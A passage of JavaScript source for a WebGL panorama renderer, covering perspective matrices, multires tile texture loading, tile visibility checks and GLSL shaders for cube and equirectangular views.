(zfar+znear)/(znear-zfar), (2*zfar*znear)/(znear-zfar), 0, 0, -1, 0 ]; } /** * Processes a loaded texture image into a WebGL texture. * @private * @param {Image} img - Input image. * @param {WebGLTexture} tex - Texture to bind image to. */ function processLoadedTexture(img, tex) { gl.bindTexture(gl.TEXTURE_2D, tex); gl.texImage2D(gl.TEXTURE_2D, 0, gl.RGB, gl.RGB, gl.UNSIGNED_BYTE, img); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MAG_FILTER, gl.LINEAR); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_MIN_FILTER, gl.LINEAR); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_S, gl.CLAMP_TO_EDGE); gl.texParameteri(gl.TEXTURE_2D, gl.TEXTURE_WRAP_T, gl.CLAMP_TO_EDGE); gl.bindTexture(gl.TEXTURE_2D, null); } /** * Loads image and creates texture for a multires node / tile. * @private * @param {MultiresNode} node - Input node. */ function processNextTile(node) { if (!node.texture) { node.texture = gl.createTexture(); node.image = new Image(); node.image.crossOrigin = 'anonymous'; node.image.onload = function() { processLoadedTexture(node.image, node.texture); node.textureLoaded = true; delete node.image; }; node.image.src = encodeURI(node.path + '.' + image.extension); } } /** * Finds and applies optimal multires zoom level. * @private * @param {number} hfov - Horizontal field of view to check at. */ function checkZoom(hfov) { // Find optimal level var newLevel = 1; while ( newLevel < image.maxLevel && canvas.width > image.tileResolution * Math.pow(2, newLevel - 1) * Math.tan(hfov / 2) * 0.707 ) { newLevel++; } // Apply change program.level = newLevel; } /** * Rotates perspective matrix. * @private * @param {number[]} p - Perspective matrix. * @param {number[]} r - Rotation matrix. * @returns {number[]} Rotated matrix. */ function rotatePersp(p, r) { return [ p[ 0]*r[0], p[ 0]*r[1], p[ 0]*r[ 2], 0, p[ 5]*r[4], p[ 5]*r[5], p[ 5]*r[ 6], 0, p[10]*r[8], p[10]*r[9], p[10]*r[10], p[11], -r[8], -r[9], -r[10], 0 ]; } /** * Applies rotated perspective matrix to a 3-vector * (last element is inverted). * @private * @param {number[]} m - Rotated perspective matrix. * @param {number[]} v - Input 3-vector. * @returns {number[]} Resulting 4-vector. */ function applyRotPerspToVec(m, v) { return [ m[ 0]*v[0] + m[ 1]*v[1] + m[ 2]*v[2], m[ 4]*v[0] + m[ 5]*v[1] + m[ 6]*v[2], m[11] + m[ 8]*v[0] + m[ 9]*v[1] + m[10]*v[2], 1/(m[12]*v[0] + m[13]*v[1] + m[14]*v[2]) ]; } /** * Checks if a vertex is visible. * @private * @param {number[]} m - Rotated perspective matrix. * @param {number[]} v - Input vertex. * @returns {number} 1 or -1 if the vertex is or is not visible, * respectively. */ function checkInView(m, v) { var vpp = applyRotPerspToVec(m, v); var winX = vpp[0]*vpp[3]; var winY = vpp[1]*vpp[3]; var winZ = vpp[2]*vpp[3]; var ret = [0, 0, 0]; if ( winX < -1 ) ret[0] = -1; if ( winX > 1 ) ret[0] = 1; if ( winY < -1 ) ret[1] = -1; if ( winY > 1 ) ret[1] = 1; if ( winZ < -1 || winZ > 1 ) ret[2] = 1; return ret; } /** * Checks if a square (tile) is visible. * @private * @param {number[]} m - Rotated perspective matrix. * @param {number[]} v - Square's vertex array. * @returns {boolean} Whether or not the square is visible. */ function checkSquareInView(m, v) { var check1 = checkInView(m, v.slice(0, 3)); var check2 = checkInView(m, v.slice(3, 6)); var check3 = checkInView(m, v.slice(6, 9)); var check4 = checkInView(m, v.slice(9, 12)); var testX = check1[0] + check2[0] + check3[0] + check4[0]; if ( testX == -4 || testX == 4 ) return false; var testY = check1[1] + check2[1] + check3[1] + check4[1]; if ( testY == -4 || testY == 4 ) return false; var testZ = check1[2] + check2[2] + check3[2] + check4[2]; return testZ != 4; } } // Vertex shader for equirectangular and cube var v = [ 'attribute vec2 a_texCoord;', 'varying vec2 v_texCoord;', 'void main() {', // Set position 'gl_Position = vec4(a_texCoord, 0.0, 1.0);', // Pass the coordinates to the fragment shader 'v_texCoord = a_texCoord;', '}' ].join(''); // Vertex shader for multires var vMulti = [ 'attribute vec3 a_vertCoord;', 'attribute vec2 a_texCoord;', 'uniform mat4 u_cubeMatrix;', 'uniform mat4 u_perspMatrix;', 'varying mediump vec2 v_texCoord;', 'void main(void) {', // Set position 'gl_Position = u_perspMatrix * u_cubeMatrix * vec4(a_vertCoord, 1.0);', // Pass the coordinates to the fragment shader 'v_texCoord = a_texCoord;', '}' ].join(''); // Fragment shader var fragCube = [ 'precision mediump float;', 'uniform float u_aspectRatio;', 'uniform float u_psi;', 'uniform float u_theta;', 'uniform float u_f;', 'uniform float u_h;', 'uniform float u_v;', 'uniform float u_vo;', 'const float PI = 3.14159265358979323846264;', // Texture 'uniform samplerCube u_image;', // Coordinates passed in from vertex shader 'varying vec2 v_texCoord;', 'void main() {', // Find the vector of focal point to view plane 'vec3 planePos = vec3(v_texCoord.xy, 0.0);', 'planePos.x *= u_aspectRatio;', 'vec3 viewVector = planePos - vec3(0.0,0.0,-u_f);', // Rotate vector for psi (yaw) and theta (pitch) 'float sinpsi = sin(-u_psi);', 'float cospsi = cos(-u_psi);', 'float sintheta = sin(u_theta);', 'float costheta = cos(u_theta);', // Now apply the rotations 'vec3 viewVectorTheta = viewVector;', 'viewVectorTheta.z = viewVector.z * costheta - viewVector.y * sintheta;', 'viewVectorTheta.y = viewVector.z * sintheta + viewVector.y * costheta;', 'vec3 viewVectorPsi = viewVectorTheta;', 'viewVectorPsi.x = viewVectorTheta.x * cospsi - viewVectorTheta.z * sinpsi;', 'viewVectorPsi.z = viewVectorTheta.x * sinpsi + viewVectorTheta.z * cospsi;', // Look up color from texture 'gl_FragColor = textureCube(u_image, viewVectorPsi);', '}' ].join('\n'); // Fragment shader var fragEquirectangular = [ 'precision mediump float;', 'uniform float u_aspectRatio;', 'uniform float u_psi;', 'uniform float u_theta;', 'uniform float u_f;', 'uniform float u_h;', 'uniform float u_v;', 'uniform float u_vo;', 'uniform float u_rot;', 'const float PI = 3.14159265358979323846264;', // Texture 'uniform sampler2D u_image;', // Coordinates passed in from vertex shader 'varying vec2 v_texCoord;', 'void main() {', // Map canvas/camera to sphere 'float x = v_texCoord.x * u_aspectRatio;', 'float y = v_texCoord.y;', 'float sinrot = sin(u_rot);', 'float cosrot = cos(u_rot);', 'float rot_x = x * cosrot - y * sinrot;', 'float rot_y = x * sinrot + y * cosrot;', 'float sintheta = sin(u_theta);', 'float costheta = cos(u_theta);', 'float a = u_f * costheta - rot_y * sintheta;', 'float root = sqrt(rot_x * rot_x + a * a);', 'float lambda = atan(rot_x / root, a / root) + u_psi;', 'float phi = atan((rot_y * costheta + u_f * sintheta) / root);', // Wrap image 'if(lambda > PI)', 'lambda = lambda - PI * 2.0;', 'if(lambda < -PI)', 'lambda = lambda + PI * 2.0;', // Map texture to sphere 'vec2 coord = vec2(lambda / PI, phi / (PI / 2.0));', // Look up color from texture // Map from [-1,1] to [0,1] and flip y-axis 'if(coord.x < -u_h || coord.x > u_h || coord.y < -u_v + u_vo || coord.y > u_v + u_vo)', 'gl_FragColor = vec4(0, 0, 0, 1.0);', 'else', 'gl_FragColor = texture2D(u_image, vec2((coord.x + u_h) / (u_h * 2.0), (-coord.y + u_v + u_vo) / (u_v * 2.0)));', '}' ].join('\n'); // Fragment shader var fragMulti = [ 'varying mediump vec2 v_texCoord;', 'uniform sampler2D u_sampler;', //'uniform mediump vec4 u_color;', 'void main(void) {', // Look up color from texture 'gl_FragColor = texture2D(u_sampler, v_texCoord);', // 'gl_FragColor = u_color;', '}' ].join(''); return { renderer: function(container, image, imagetype, dynamic) { return new Renderer(container, image, imagetype, dynamic); } }; })(window, document);